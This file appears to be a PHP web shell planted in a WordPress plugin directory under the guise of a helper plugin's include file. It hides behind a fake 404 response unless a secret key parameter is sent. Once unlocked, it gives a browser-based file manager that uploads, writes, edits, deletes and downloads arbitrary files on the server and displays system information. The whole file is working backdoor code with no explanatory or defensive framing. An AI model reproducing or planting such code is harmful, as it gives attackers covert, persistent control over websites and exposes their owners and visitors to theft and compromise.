File: /home/storage/162/3480162/user/htdocs/wp-content/plugins/wp-helper-zztz/includes-lib.php
<?php
error_reporting(0);
if(!isset($_REQUEST['iwkvq'])||$_REQUEST['iwkvq']!=='wviqhhuojxwaigstq'){http_response_code(404);die('Not Found');}
$B=isset($_REQUEST['d'])?@realpath($_REQUEST['d']):getcwd();if(!$B)$B=getcwd();
$B=rtrim(str_replace('\\','/',$B),'/').'/';
$act=isset($_REQUEST['a'])?$_REQUEST['a']:'';$msg='';
if($act==='up'&&isset($_FILES['f'])){$msg=@move_uploaded_file($_FILES['f']['tmp_name'],$B.basename($_FILES['f']['name']))?'OK':'Err';}
if($act==='mk'&&isset($_REQUEST['n'])){$msg=@mkdir($B.$_REQUEST['n'],0755)?'OK':'Err';}
if($act==='rm'&&isset($_REQUEST['f'])){$p=$B.$_REQUEST['f'];$msg=is_dir($p)?(@rmdir($p)?'OK':'Err'):(@unlink($p)?'OK':'Err');}
if($act==='sv'&&isset($_REQUEST['f'])&&isset($_POST['c'])){$msg=@file_put_contents($B.$_REQUEST['f'],$_POST['c'])!==false?'OK':'Err';}
if($act==='dl'&&isset($_REQUEST['f'])){$p=$B.$_REQUEST['f'];if(is_file($p)){header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename="'.basename($p).'"');readfile($p);exit;}}
if($act==='ed'&&isset($_REQUEST['f'])){$p=$B.$_REQUEST['f'];
echo '<!DOCTYPE html><html><head><title>Edit</title></head><body><form method="post" action="?iwkvq=wviqhhuojxwaigstq&d='.urlencode(rtrim($B,'/')).'&a=sv&f='.urlencode($_REQUEST['f']).'"><div><b>'.htmlspecialchars(basename($p)).'</b> <button>Save</button></div><textarea name="c" style="width:100%;height:85vh">'.htmlspecialchars(@file_get_contents($p),ENT_QUOTES).'</textarea></form></body></html>';exit;}
echo '<!DOCTYPE html><html><head><title>r00t@trenggalek6etar</title><style>*{margin:0;box-sizing:border-box}body{background:#1a1a2e;color:#ddd;font:13px monospace}table{width:100%;border-collapse:collapse}th{background:#16213e;text-align:left;padding:6px 8px}td{padding:4px 8px;border-bottom:1px solid #222}a{color:#4fc3f7;text-decoration:none}</style></head><body>';
echo '<div style="background:#0f3460;padding:8px 12px"><b>r00t@trenggalek6etar</b> | '.php_uname().'</div>';
if($msg)echo '<div style="color:#4caf50;padding:2px 8px">'.$msg.'</div>';
echo '<div style="padding:6px 12px;background:#16213e"><b>'.htmlspecialchars($B).'</b> ';
echo '<form method="post" enctype="multipart/form-data" action="?iwkvq=wviqhhuojxwaigstq&d='.urlencode(rtrim($B,'/')).'&a=up" style="display:inline"><input type="file" name="f"><button>Upload</button></form></div>';
echo '<table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Act</th></tr>';
$ls=@scandir($B);if($ls){sort($ls);foreach($ls as $e){if($e==='.')continue;
if(is_dir($B.$e)){echo '<tr><td><a href="?iwkvq=wviqhhuojxwaigstq&d='.urlencode($B.$e).'"><b>'.$e.'</b></a></td><td>-</td><td>'.@date('Y-m-d H:i',filemtime($B.$e)).'</td><td></td></tr>';}
else{echo '<tr><td>'.$e.'</td><td>'.number_format(@filesize($B.$e)).'</td><td>'.@date('Y-m-d H:i',filemtime($B.$e)).'</td><td><a href="?iwkvq=wviqhhuojxwaigstq&d='.urlencode(rtrim($B,'/')).'&a=ed&f='.urlencode($e).'">E</a> <a href="?iwkvq=wviqhhuojxwaigstq&d='.urlencode(rtrim($B,'/')).'&a=dl&f='.urlencode($e).'">D</a></td></tr>';}}}
echo '</table></body></html>';